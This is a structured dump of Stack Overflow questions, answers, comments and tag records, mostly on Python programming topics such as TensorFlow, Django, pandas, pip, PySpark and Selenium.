has body: I want to make a dynamic loss function in tensorflow. I want to calculate the energy of a signal's FFT, more specifically only a window of size 3 around the most dominant peak. I am unable to implement in TF, as it throws a lot of errors like Stride and InvalidArgumentError (see above for traceback): Expected begin, end, and strides to be 1D equal size tensors, but got shapes [1,64], [1,64], and [1] instead. My code is this: self.spec = tf.fft(self.signal) self.spec_mag = tf.complex_abs(self.spec[:,1:33]) self.argm = tf.cast(tf.argmax(self.spec_mag, 1), dtype=tf.int32) self.frac = tf.reduce_sum(self.spec_mag[self.argm-1:self.argm+2], 1) Since I am computing batchwise of 64 and dimension of data as 64 too, the shape of self.signal is (64,64). I wish to calculate only the AC components of the FFT. As the signal is real valued, only half the spectrum would do the job. Hence, the shape of self.spec_mag is (64,32). The max in this fft is located at self.argm which has a shape (64,1). Now I want to calculate the energy of 3 elements around the max peak via: self.spec_mag[self.argm-1:self.argm+2]. However when I run the code and try to obtain the value of self.frac, I get thrown with multiple errors.
type: UnansweredQuestion

http://stackoverflow.com/a/48693688
downvote count: 1
type: Answer
has body: Lists are mutable and strings are not. Run this code and you will get the answer lst1 = [1,2,3,4] print(id(lst1)) removed_item = lst1.pop() print(id(lst1)) lst1.append(removed_item) print(id(lst1)) str1 = "a string" print(id(str1)) removed_item = str1[-1] str1 = str1[:-1] print(id(str1)) str1 += removed_item print(id(str1))
answers question: http://stackoverflow.com/q/48693423
score: 0
upvote count: 1

http://stackoverflow.com/comment/84558903
has text: I did pip install --user pandas it showed me that it was successful but then when I run the program I got the same error for import pandas as pd
type: QuestionComment
comment on: http://stackoverflow.com/q/48778366
score: 0
type: Comment

http://stackoverflow.com/comment/84356505
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48675152
score: 0
has text: I did a quick check and renaming `test.dll` to `test.so` and using `ctypes.CDLL('test.so')` did still load for me.

http://stackoverflow.com/a/51422912
has comment: http://stackoverflow.com/comment/89882688
upvote count: 8
answers question: http://stackoverflow.com/q/48772583
downvote count: 0
has body: As of 19th July 2018, Google Cloud Functions supports Python 3.7. Kindly check the Runtime environment to find the Python 3.7 runtime and sample script (based on Flask) . --UPDATED-- Official Documentation for the Google Cloud Functions - Python 3.7 support Beta Release. This is a beta release of the Python runtime for Google Cloud Functions. This feature might be changed in backward-incompatible ways and is not subject to any SLA or deprecation policy. SkLearn, Numpy is supported in Google Cloud function. Also I've run a sample test to confirm the availability of Pandas as well and its working fine. https://github.com/mkanchwala/google-functions-python-example Hope this helps to all the "Py" lovers.
type: Answer
score: 8

http://stackoverflow.com/a/48693762
answers question: http://stackoverflow.com/q/48693645
accepted answer of: http://stackoverflow.com/q/48693645
has body: You are using wrong class. To load a model, use LinearRegressionModel: from pyspark.ml.regression import LinearRegressionModel LinearRegressionModel.load('model_lin_reg')
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 7
upvote count: 7

http://stackoverflow.com/comment/86144723
type: Comment
type: QuestionComment
has text: Did you find a solution ? Please do share.
comment on: http://stackoverflow.com/q/48660656
score: 0

http://stackoverflow.com/comment/84445187
type: Comment
has text: @Vaslo Glad i could help and welcome to SO :)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48723086

http://stackoverflow.com/q/48722924
has title: Django REST: Automatically update connected model (After POST request)
type: Question
has answer: http://stackoverflow.com/a/48723999
answer count: 1
tagged with: django-rest-framework
has body: I would like to create an ability for users to exchange 1-to-1 messages. To do this, I would like to update fields in my Django models, depending on actions taken by the Message model. For example, I would like to update the last_message in Conversation model, each time a new message is posted. I have 2 main models: Conversation and Message, where each conversation can have many messages. Models.py class Conversation(models.Model): last_message = models.CharField(max_length=50, blank=True) class Message(models.Model): body = models.TextField(max_length=500, blank=False) conversation = models.ForeignKey(Conversation, on_delete=models.CASCADE) I figured that I need to use the override the save() method in the Message class. Or possibly the save() method of serialiser. def save(self, *args, **kwargs): super(Message, self).save(*args, **kwargs) # something that I need self.conversation.last_message = self.body In the end, I would like to send a POST request to my API endpoint e.g. /api/conversation/&lt;id&gt;/messages/ and it will update the Conversation object with every new latest message.
tagged with: python
accepted answer: http://stackoverflow.com/a/48723999
has comment: http://stackoverflow.com/comment/84445671
score: 0
tagged with: django
has comment: http://stackoverflow.com/comment/84446611
type: AnsweredQuestion

http://stackoverflow.com/comment/84597355
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48797352
score: 0
has text: It is indeed not used. This is bad code. It instead uses the global name `board`.

http://stackoverflow.com/a/48858213
has comment: http://stackoverflow.com/comment/85228467
score: 4
has comment: http://stackoverflow.com/comment/84792480
upvote count: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/84791939
type: Answer
has comment: http://stackoverflow.com/comment/84793358
answers question: http://stackoverflow.com/q/48731124
has body: Google Colaboratory seems to now support tensorflow up to version 1.6.0rc1. import tensorflow as tf tf.__version__ #'1.6.0-rc1' And the gpu should work if you enable the GPU hardware accelerator. Then, you can test if things are working: from tensorflow.python.client import device_lib device_lib.list_local_devices() Output: [name: "/device:CPU:0" device_type: "CPU" memory_limit: 268435456 locality { } incarnation: 14621691266205111434, name: "/device:GPU:0" device_type: "GPU" memory_limit: 198836224 locality { bus_id: 1 } incarnation: 17821632640358169265 physical_device_desc: "device: 0, name: Tesla K80, pci bus id: 0000:00:04.0, compute capability: 3.7"]

http://stackoverflow.com/a/48749881
has comment: http://stackoverflow.com/comment/84522107
has body: enumerate returns an iterator that gets exhausted by the first consumer (which is the set constructor). Do for instance: grocery = ['bread', 'milk', 'butter'] enumerateGrocery = enumerate(grocery) print(type(enumerateGrocery)) t = tuple(enumerateGrocery) # tuple first, to maintain order # now, enumerateGrocery is exhausted (empty) s = set(t) # just use the tuple that now contains all the elements print(s) print(t)
has comment: http://stackoverflow.com/comment/84520066
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/84500170
downvote count: 0
answers question: http://stackoverflow.com/q/48749816
type: Answer

http://stackoverflow.com/comment/85098063
has text: (put differently, if you only need to use the top N result repeatedly, and the input sequence *doesn't change*, then there is no point in using a heapified list, and call `nsmallest()` again and again, because you *already produced the desired top N list*).
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48929069
score: 0

http://stackoverflow.com/a/48760990
score: 0
answers question: http://stackoverflow.com/q/48760381
type: Answer
has comment: http://stackoverflow.com/comment/84525316
has comment: http://stackoverflow.com/comment/84547485
has body: Per Django's documentation, an empty value resolves to "nothing" rather than causing an error. So, it might be both values are resolving to nothing: https://docs.djangoproject.com/en/2.0/ref/templates/language/ {% if user.username in currentuser.username %} If they both are empty it should resolve to true. EDIT The actual issue here is that you're using "in" as your comparative operator rather than "==". If the username is missing you're checking if an empty string is contained within a given string (which it is - kind of like 0 elements is a subset of any set of elements). If you want to filter out empty strings you can use the length tag. From the docs: length¶ Returns the length of the value. This works for both strings and lists. For example: If value is ['a', 'b', 'c', 'd'] or "abcd", the output will be 4. The filter returns 0 for an undefined variable. {% if user.username|length &gt; 0 %}

flask-restplus
tag name: flask-restplus
tags question: http://stackoverflow.com/q/48710563
tags question: http://stackoverflow.com/q/48799184
type: Tag
tags question: http://stackoverflow.com/q/48802421

http://stackoverflow.com/q/48679362
has answer: http://stackoverflow.com/a/48679511
has title: python: Calculating seconds from a datetime string with extra characters
answer count: 3
tagged with: datetime
has answer: http://stackoverflow.com/a/48679467
tagged with: python
has body: I want to create a new column which contains seconds since 1970 for each row for the following input file: timestamp, air_temp, rh, pressure, dir, spd 2016-11-30T00:00:00Z,-36.50,56.00,624.60,269.00,5.80 2016-11-30T01:00:00Z,-35.70,55.80,624.70,265.00,5.90 2016-11-30T02:00:00Z,-34.80,56.00,625.00,266.00,6.30 The first column represents the timestamp but it contains extra characters 'T' and 'Z'. My current code looks like this: i = 0 ip_file.readline() for line in ip_file: line = line.strip() year[i] = int(line[0:4]) month[i] = int(line[5:7]) day[i] = int(line[8:10]) hour[i] = int(line[11:13]) time[i] = (datetime(year[i],month[i],day[i],hour[i])-datetime(1970, 1, 1)).total_seconds() i += 1 This returns me what I want but it takes long time if input file is big. If the timestamp didn't had those extra characters, I would have directly used it instead of calculating year, month, day and hour. Is there a better way? Any thoughts would be appreciated.
possible better answer: http://stackoverflow.com/a/48679511
upvote count: 1
linked to: http://stackoverflow.com/q/45602652
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48679467
score: 1
type: Question
has answer: http://stackoverflow.com/a/48679760
downvote count: 0
favorite count: 0

http://stackoverflow.com/a/48776452
has comment: http://stackoverflow.com/comment/84565545
has comment: http://stackoverflow.com/comment/84566413
upvote count: 2
score: 1
answers question: http://stackoverflow.com/q/48775176
downvote count: 1
has comment: http://stackoverflow.com/comment/84567304
has comment: http://stackoverflow.com/comment/84635479
has comment: http://stackoverflow.com/comment/84567907
has comment: http://stackoverflow.com/comment/84577035
has body: Assuming that what is meant by X.T @ X is numpy.dot(X.T,X), you may directly plot the result just as with any other function. import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D f = lambda X: np.dot(X.T,X) fig = plt.figure() ax = plt.subplot(projection="3d") X, Y = np.meshgrid( np.linspace(start = -10, stop = 10, num = 101), np.linspace(start = -10, stop = 10, num = 101)) ax.plot_surface(X,Y,f(X)) plt.show() However, in order to get the desired output from the question, the function depends on both x and y, so what is wanted is probably import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D f = lambda xi,yi: np.dot(np.dot([xi,yi],np.identity(2)),[[xi],[yi]]) fig = plt.figure() ax = plt.subplot(projection="3d") X, Y = np.meshgrid( np.linspace(start = -10, stop = 10, num = 101), np.linspace(start = -10, stop = 10, num = 101)) Z = np.vectorize(f)(X,Y) ax.plot_surface(X,Y,Z) plt.show()
has comment: http://stackoverflow.com/comment/84566263
has comment: http://stackoverflow.com/comment/84566204
has comment: http://stackoverflow.com/comment/84569132
type: Answer
has comment: http://stackoverflow.com/comment/84566570

http://stackoverflow.com/comment/84554537
comment on: http://stackoverflow.com/a/48774325
score: 0
type: AnswerComment
type: Comment
has text: Sorry I meant **convex**. I have been writing both of these so much recently I type them out wrong sometimes haha

http://stackoverflow.com/comment/84474693
has text: I don't understand.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48735614
score: 0

http://stackoverflow.com/comment/84341897
type: QuestionComment
comment on: http://stackoverflow.com/q/48660142
score: 0
has text: Hey folks! Thanks for the responses. I'm trying to plot as follows.... I'd like the x-axis to be the number of times I run the for loop (so 1 to 1000) and the y-axis to show which 'state' I am in (so i'll be in either 0 or 1). Yes seems like I need to use matplotlib. State and pi11 are both initialized 'above' this part of me code as user input.
type: Comment

http://stackoverflow.com/q/48745884
tagged with: python
has comment: http://stackoverflow.com/comment/84492159
has title: Pythonic way to represent a UDP package
tagged with: bitstring
score: 0
type: Question
has answer: http://stackoverflow.com/a/48754158
has comment: http://stackoverflow.com/comment/84491657
has comment: http://stackoverflow.com/comment/84492127
tagged with: udp
answer count: 2
has body: I am looking for a pythonic way to represent a UDP package consisting of different fields with different length and so. I saw bitstring, but the process of defining all the fields and their length is quite cumbersome. I probably need to create a class and create a variable for each field and length and also check that they don't get overwritten by larger numbers and so on. To me that sounds like a job for a library but I could not find one. Does anyone know of such a library suitable for this task?
has answer: http://stackoverflow.com/a/48746239
tagged with: python-3.x
type: UnansweredQuestion

http://stackoverflow.com/comment/84345203
score: 5
type: AnswerComment
type: Comment
has text: You can (and should) downvote if you think something is not good practice, regardless of what the OP asked about.
comment on: http://stackoverflow.com/a/48673355

http://stackoverflow.com/comment/84396779
type: Comment
type: QuestionComment
has text: @John Gordon: Aha! Yes, that's it. Many thanks!
score: 0
comment on: http://stackoverflow.com/q/48698716

http://stackoverflow.com/comment/84530148
type: Comment
has text: Look this post https://stackoverflow.com/questions/8356501/python-format-tabular-output and table and see the table proposed by @TommasoF. Is like that what i want.Thanks
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48746560

http://stackoverflow.com/comment/84337136
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48668974
type: QuestionComment
has text: I dont see any dropdown in the above link

http://stackoverflow.com/comment/84382880
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48674396
has text: Thanks. What I am trying to do is to automatize the search and hyperlinking of the medical terms, that are all stored in a separate model. Manual hyperlinking is needlessly repetitive and messy, leaving a lot of room for human error.
score: 0

http://stackoverflow.com/a/74554091
downvote count: 0
score: 2
has body: For Django v4.1.3, the above get_create_sql_for_model soruce code changed like this: from django.db.migrations.state import ModelState from django.db.migrations import operations from django.db.migrations.migration import Migration from django.db import connections from django.db.migrations.state import ProjectState def get_create_sql_for_model(model): model_state = ModelState.from_model(model) table_name = model_state.options['db_table'] # Create a fake migration with the CreateModel operation cm = operations.CreateModel(name=model_state.name, fields=model_state.fields.items()) migration = Migration("fake_migration", "app") migration.operations.append(cm) # Let the migration framework think that the project is in an initial state state = ProjectState() # Get the SQL through the schema_editor bound to the connection connection = connections['default'] with connection.schema_editor(collect_sql=True, atomic=migration.atomic) as schema_editor: state = migration.apply(state, schema_editor, collect_sql=True) sqls = schema_editor.collected_sql items = [] for sql in sqls: if sql.startswith('--'): continue items.append(sql) return table_name,items #EOP I used it to create all tables (like the command syncdb of old Django version): for app in settings.INSTALLED_APPS: app_name = app.split('.')[0] app_models = apps.get_app_config(app_name).get_models() for model in app_models: table_name,sqls = get_create_sql_for_model(model) if settings.DEBUG: s = "SELECT COUNT(*) AS c FROM sqlite_master WHERE name = '%s'" % table_name else: s = "SELECT COUNT(*) AS c FROM information_schema.TABLES WHERE table_name='%s'" % table_name rs = select_by_raw_sql(s) if not rs[0]['c']: for sql in sqls: exec_by_raw_sql(sql) print('CREATE TABLE DONE:%s' % table_name) The full soure code can be found at Django syncdb command came back for v4.1.3 version
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/48666334

http://stackoverflow.com/a/48775194
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48774860
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48774860
type: Answer
has body: You can use itertools.groupby: import itertools data = {'Invitees': [{'availableDates': ['2018-02-01', '2018-02-02'], 'lastName': 'Klein', 'highSchool': 'NorthwestHS', 'email': 'WKlein@***il.com', 'firstName': 'Will'}, {'availableDates': ['2018-02-04', '2018-01-01'], 'lastName': 'Smith', 'highSchool': 'SouthwestHS', 'email': 'JSmith@***il.com', 'firstName': 'Jack'}, {'availableDates': ['2018-02-01', '2018-02-02'], 'lastName': 'Farough', 'highSchool': 'NorthwestHS', 'email': 'JFarough@***il.com', 'firstName': 'Jamie'}, {'availableDates': ['2018-02-01', '2018-02-02'], 'lastName': 'Saggot', 'highSchool': 'NorthwestHS', 'email': 'BSaggot@***il.com', 'firstName': 'Bob'}]} new_data = [(a, list(b)) for a, b in itertools.groupby(sorted(data['Invitees'], key=lambda x:int(x['availableDates'][-1].split('-')[-1])-int(x['availableDates'][0].split('-')[-1]), reverse=True), key=lambda x:int(x['availableDates'][-1].split('-')[-1])-int(x['availableDates'][0].split('-')[-1]))] final_students = {'Attendee':[{"aCount":len(b), "attendees":[c['email'] for c in b], "highschool":[c['highSchool'] for c in b][0], "startDate":[c['availableDates'][0] for c in b][0]} if a == 1 else {'aCount':0, 'attendees':[], 'highschool':[i['highSchool'] for i in b][0], 'startdate':None} for a, b in new_data]} Output: {'Attendee': [{'aCount': 3, 'startDate': '2018-02-01', 'highschool': 'NorthwestHS', 'attendees': ['WKlein@***il.com', 'JFarough@***il.com', 'BSaggot@***il.com']}, {'aCount': 0, 'startdate': None, 'highschool': 'SouthwestHS', 'attendees': []}]}
downvote count: 0
score: 1

boolean
tags question: http://stackoverflow.com/q/48675868
tags question: http://stackoverflow.com/q/48798848
tags question: http://stackoverflow.com/q/48713631
tag name: boolean
tags question: http://stackoverflow.com/q/48658952
tags question: http://stackoverflow.com/q/48737279
type: Tag

ssl
tags question: http://stackoverflow.com/q/48717497
tags question: http://stackoverflow.com/q/48766096
tags question: http://stackoverflow.com/q/48759992
tags question: http://stackoverflow.com/q/48740053
tags question: http://stackoverflow.com/q/48782939
type: Tag
tags question: http://stackoverflow.com/q/48730866
tag name: ssl
tags question: http://stackoverflow.com/q/48727531
tags question: http://stackoverflow.com/q/48745899
tags question: http://stackoverflow.com/q/48727818
tags question: http://stackoverflow.com/q/48663957
tags question: http://stackoverflow.com/q/48658329

http://stackoverflow.com/a/48769885
has comment: http://stackoverflow.com/comment/84547602
has comment: http://stackoverflow.com/comment/84542760
type: Answer
has comment: http://stackoverflow.com/comment/84542221
has comment: http://stackoverflow.com/comment/84542706
has comment: http://stackoverflow.com/comment/84542281
has comment: http://stackoverflow.com/comment/84543660
has body: When using .click() it must be "visible" (you using PhantomJS) and not hidden, in a drop-down for example. Also make sure the page is completely loaded. As i see it you have two options: Ether use selenium to revile it, and then click. Use java script to do the actual click I strongly suggest to click with javascript, its much faster and more reliable. Here is a little wrapper to make things easier: def execute_script(driver, xpath): """ wrapper for selenium driver execute_script :param driver: selenium driver :param xpath: (str) xpath to the element :return: execute_script result """ execute_string = "window.document.evaluate('{}', document, null, 9, null).singleNodeValue.click();".format(xpath) return driver.execute_script(execute_string) The wrapper basically implement this technique to click on elements with javascript. then in your selenium script use the wrapper like so: execute_script(driver, element_xpath) you can also make it more general to not only do clicks, but scrolls and other magic.. ps. in my example i use xpath, but you can also use css_path basically, what-ever runs in javascript.
score: 0
answers question: http://stackoverflow.com/q/48769638
upvote count: 1
has comment: http://stackoverflow.com/comment/84543428
type: AcceptedAnswer
downvote count: 1
accepted answer of: http://stackoverflow.com/q/48769638

http://stackoverflow.com/comment/84523548
type: AnswerComment
has text: can u please give an example.for the above concept
comment on: http://stackoverflow.com/a/48733407
score: 0
type: Comment

http://stackoverflow.com/a/48773039
has body: Assuming you want control of the output in your python code you might need to do something like this import subprocess def run_process(exe): 'Define a function for running commands and capturing stdout line by line' p = subprocess.Popen(exe.split(), stdout=subprocess.PIPE, stderr=subprocess.STDOUT) return iter(p.stdout.readline, b'') if __name__ == '__main__': commands = ["foo", "foofoo"] for command in commands: for line in run_process(command): print(line)
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48772622

http://stackoverflow.com/q/48674233
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/25607837
tagged with: pip
tagged with: python
score: 3
has body: When I try to install packages (any package) using pip3.6 installations do not go into the correct python version. instead they go into 2.7 $ pip3.6 install sklearn Collecting sklearn Downloading sklearn-0.0.tar.gz Collecting scikit-learn (from sklearn) Downloading scikit_learn-0.19.1-cp36-cp36m-manylinux1_x86_64.whl (12.4MB) 100% |████████████████████████████████| 12.4MB 138kB/s Installing collected packages: scikit-learn, sklearn Running setup.py install for sklearn ... done Successfully installed scikit-learn-0.19.1 sklearn-0.0 Target directory /usr/lib/python2.7/dist-packages/scikit_learn-0.19.1.dist-info already exists. Specify --upgrade to force replacement. Target directory /usr/lib/python2.7/dist-packages/sklearn-0.0-py3.6.egg-info already exists. Specify --upgrade to force replacement. Target directory /usr/lib/python2.7/dist-packages/sklearn already exists. Specify --upgrade to force replacement. Note the python2.7 in Target directory /usr/lib/python2.7/dist-packages/scikit even though i am using pip3.6 When I try to import in python3.6, the package is not found $ python3.6 Python 3.6.1 (default, Feb 7 2018, 17:00:49) [GCC 4.8.2] on linux Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import sklearn Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; ModuleNotFoundError: No module named 'sklearn' The correct python version is mentioned in the pip3.6 file $ cat /usr/local/bin/pip3.6 #!/usr/local/bin/python3.6 # -*- coding: utf-8 -*- import re import sys from pip import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main()) And pip3.6 appears to be pointing to the correct python version $ pip3.6 -V pip 9.0.1 from /usr/local/lib/python3.6/site-packages (python 3.6) Any thoughts on how to get pip3.6 to install packages in the correct python folders?
has title: python3 pip3 installations go to 2.7
upvote count: 3
type: Question
has comment: http://stackoverflow.com/comment/84347918
has comment: http://stackoverflow.com/comment/84347869
has answer: http://stackoverflow.com/a/48676660
answer count: 1
downvote count: 0

http://stackoverflow.com/q/48741738
tagged with: macos
downvote count: 0
has body: So I followed the instructions on: http://phantomjs.org/build.html And I get the following error when running build.py: qcocoahelpers.mm:676:39: error: use of undeclared identifier 'InvalidContext' require_action(inContext != NULL, InvalidContext, err = paramErr); ^ qcocoahelpers.mm:677:38: error: use of undeclared identifier 'InvalidBounds' require_action(inBounds != NULL, InvalidBounds, err = paramErr); ^ qcocoahelpers.mm:678:37: error: use of undeclared identifier 'InvalidImage' require_action(inImage != NULL, InvalidImage, err = paramErr); ^ 3 errors generated. make[4]: *** [.obj/qcocoahelpers.o] Error 1 make[4]: *** Waiting for unfinished jobs.... make[3]: *** [sub-cocoa-make_first] Error 2 make[2]: *** [sub-platforms-make_first] Error 2 make[2]: *** Waiting for unfinished jobs.... 2 warnings generated. rm -f libqsqlite.a /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ar cq libqsqlite.a .obj/smain.o .obj/qsql_sqlite.o .obj/sqlite3.o .obj/moc_qsql_sqlite_p.o /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ranlib -s libqsqlite.a rm -f ../../../../plugins/sqldrivers/libqsqlite.a mv -f libqsqlite.a ../../../../plugins/sqldrivers/ make[1]: *** [sub-plugins-make_first] Error 2 make: *** [sub-src-make_first] Error 2 ERROR: Failed to build PhantomJS! Building Qt Base failed.
has title: failed to build phantomJS binary in Mac
type: AnsweredQuestion
tagged with: phantomjs
tagged with: build
score: 1
type: Question
has answer: http://stackoverflow.com/a/53405671
accepted answer: http://stackoverflow.com/a/53405671
upvote count: 1
answer count: 1
favorite count: 0
tagged with: xcode
tagged with: python

http://stackoverflow.com/q/48673428
has answer: http://stackoverflow.com/a/48674114
has comment: http://stackoverflow.com/comment/84346321
type: Question
answer count: 2
tagged with: python
accepted answer: http://stackoverflow.com/a/48674114
upvote count: 3
downvote count: 1
possible better answer: http://stackoverflow.com/a/48674645
tagged with: numpy
has comment: http://stackoverflow.com/comment/84345871
has answer: http://stackoverflow.com/a/48674645
score: 2
tagged with: crosstab
has comment: http://stackoverflow.com/comment/84345714
has comment: http://stackoverflow.com/comment/84345518
has comment: http://stackoverflow.com/comment/84345813
tagged with: pandas
has title: Python Pandas Pairwise Frequency Table with many columns
type: AnsweredQuestion
has body: Beginner Pandas Question here: How do I create a cross frequency count table for all columns? I want to ues the output to make a seaborn heatmap plot showing the counts between each pair of columns. I have a dataframe (pulled down from hdfs with pyspark) with ~70 unique columns and about 600K rows Sample Desired output: C1 C2 C3 C4 ...C70 C1 - 1 1 2 C2 1 - 0 2 C3 1 0 - 1 C4 2 2 1 - ... C70 Sample DF: import numpy as np import pandas as pd raw_data = {'C1': [ 0, 2, 5, 0, 3], #...600K 'C2': [3, 0 , 2, 0, 0], 'C3': [0, 0, 0, 3, 3], 'C4': [2, 1, 1, 4, 0]} df = pd.DataFrame(raw_data, columns = ['C1', 'C2', 'C3','C4']) print(df) I've tried using crosstab, pivot, pivot_table from pandas and think that the solution is using crosstab, but I can't get it in the desired output format (sorry if there is something obvious I'm missing). Any help appreciated!
favorite count: 0

http://stackoverflow.com/q/48703081
has title: PySpark takeOrdered Multiple Fields (Ascending and Descending)
favorite count: 0
has body: The takeOrdered Method from pyspark.RDD gets the N elements from an RDD ordered in ascending order or as specified by the optional key function as described here pyspark.RDD.takeOrdered. The example shows the following code with one key: &gt;&gt;&gt; sc.parallelize([10, 1, 2, 9, 3, 4, 5, 6, 7], 2).takeOrdered(6, key=lambda x: -x) [10, 9, 7, 6, 5, 4] Is it also possible to define more keys e.g. x,y,z for data that has 3 columns? The keys should be in different order such as x= asc, y= desc, z=asc. That means if the first value x of two rows are equal then the second value y should be used in descending order.
has answer: http://stackoverflow.com/a/48706196
tagged with: python
tagged with: rdd
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48706196
upvote count: 2
type: Question
tagged with: pyspark
tagged with: sorting
tagged with: apache-spark
downvote count: 0
answer count: 1

http://stackoverflow.com/a/49536278
has body: This seems to be related with this issue: https://issues.apache.org/jira/browse/AIRFLOW-1977 It is important to mention that this is only an issue while the task does not run at least once. For instance if you configure the task schedule_interval=None And manually run it once, it will work as expected. After that you can put @onceas the schedule_interval and the scheduler won't complain again (of course that if you manually trigger a task it defeats the purpose of running automatically once...). I did not test if the same happens to the other tags or not but this could fix this same issue with for example the @dailytag.
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/48752087
type: Answer
upvote count: 1

http://stackoverflow.com/q/48791805
has answer: http://stackoverflow.com/a/48866019
score: 1
tagged with: socket.io
type: Question
has comment: http://stackoverflow.com/comment/84727739
downvote count: 0
tagged with: javascript
tagged with: flask
linked to: http://stackoverflow.com/q/34599578
answer count: 1
favorite count: 0
tagged with: subprocess
type: UnansweredQuestion
upvote count: 1
tagged with: python
has title: Python SocketIO message lost when sent to Frontend from Subprocess
has body: I want to start another python process from within my flask application. This process prints some feedback once and then. I then try to send this feedback to the frontend of my application using socketio. However, the messages sent from this subprocess never arrive. The function that executes my program: def executePY(cmd): popen = Popen(cmd, stdout=PIPE, universal_newlines=True) for stdout_line in iter(popen.stdout.readline, ""): yield stdout_line popen.stdout.close() The function that calls the Execution and then waits for responses: def test(): for statement in executePY(['python3', '-u', 'bla.py']): send_to_frontend(statement) The function sending the messages to the frontend: def send_to_frontend(msg): print(msg) # The Message arrives here! socketio.emit('message', msg, namespace='/bla') Receiving the messages in the frontend: var namespace = '/editor'; var socket = io.connect('http://127.0.0.1:5000' + namespace); // Python Output socket.on('message', function(msg) { console.log(msg); // No Message here! });

http://stackoverflow.com/comment/84378239
type: QuestionComment
has text: Well yes, that is exactly the problem. At the moment I need it in three places, however, actually, I only need it in the inference() method, and feed it in the session which is fine, but It would be cool if I wouldn't have to pass it to the inference method, but that is just not possible I guess, unless I write a getter which is even more code :D @Maxim
comment on: http://stackoverflow.com/q/48686528
score: 0
type: Comment

http://stackoverflow.com/q/48683970
has answer: http://stackoverflow.com/a/48684988
tagged with: python
upvote count: 2
type: UnansweredQuestion
downvote count: 3
tagged with: web-scraping
has comment: http://stackoverflow.com/comment/84367015
type: Question
has title: Scraping first 10 links from google search for large number of records
score: -1
linked to: http://stackoverflow.com/q/41284501
answer count: 1
has body: I have 63,000 strings and i want to iterate over all and search for each string in google and store the first ten links in a new column separated with a ",". I have tried the following code but its too slow.Please suggest me any other way to scrape the links try: from googlesearch import search except ImportError: print("No module named 'google' found") query = "xyz" for j in search(query, tld="co.in", num=10, stop=1, pause=5): print(j)
favorite count: 0

http://stackoverflow.com/a/48707521
downvote count: 0
has body: This is one readable way: from toolz import compose def get_text(x): return x.get_text() def searcher(x): return re.search(r'(\d+/\d+/\d+)', x).group(1) def strp1(x): return datetime.strptime(x, '%m/%d/%Y') def strp2(x): return datetime.strftime(x, '%Y-%m-%d') calculator = compose(strp2, strp1, searcher, get_text) result = list(map(calculator, soup.find_all('div', {'class' : "review-content"})))
upvote count: 1
answers question: http://stackoverflow.com/q/48707426
type: Answer
score: 1

http://stackoverflow.com/comment/84446659
has text: Thanks for the advice! I'll have a look at Pyomo and see if I can make it work for me.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48713216

http://stackoverflow.com/comment/84496163
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48689488
has text: I found the answer, I've have modified in the code above, is working like a charm.

http://stackoverflow.com/a/48777620
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/84573592
answers question: http://stackoverflow.com/q/48777128
has body: This is one way: df_b[[1, 3]] = df_a[[1, 3]] Result: print(df_b) 2 1 3 0 d 1.0 4.0 1 e 2.0 5.0 2 f NaN NaN 3 g 3.0 6.0
has comment: http://stackoverflow.com/comment/84574240

http://stackoverflow.com/q/48654414
favorite count: 0
type: UnansweredQuestion
has body: I want to develop a server status dashboard which internally call ping command and show host status in red(in dashboard)if host is unreachable. As I am new to Django so just want to check if that possible via Django?
tagged with: python
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/48654645
tagged with: django
type: Question
has title: Server status dashboard using Django
upvote count: 1
answer count: 1

http://stackoverflow.com/comment/84410533
comment on: http://stackoverflow.com/q/48689762
score: 0
type: QuestionComment
has text: I want to get all Jira issues. But it is only possible if you modify the search criteria because you can only get 100 issues per request. My current code tries to get all issues but it gets only 100 from 500. So solution would be to fetch 100 issues and then take the issue key of the last of the 100 and put it in the search (jql) query in the code like "project=dt & issuekey < "last issuekey of the 100"'
type: Comment

http://stackoverflow.com/comment/84586802
comment on: http://stackoverflow.com/q/48790099
has text: @MarcinOrlowski: as mentioned, in the end it's just easier for a beginner to just learn the more modern and future-proof thing. and your argument about the amount of typing is equally invalid, since a simple comma means even less typing.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48727875
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48727450
has comment: http://stackoverflow.com/comment/84475940
answers question: http://stackoverflow.com/q/48727450
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84503245
upvote count: 14
type: Answer
score: 14
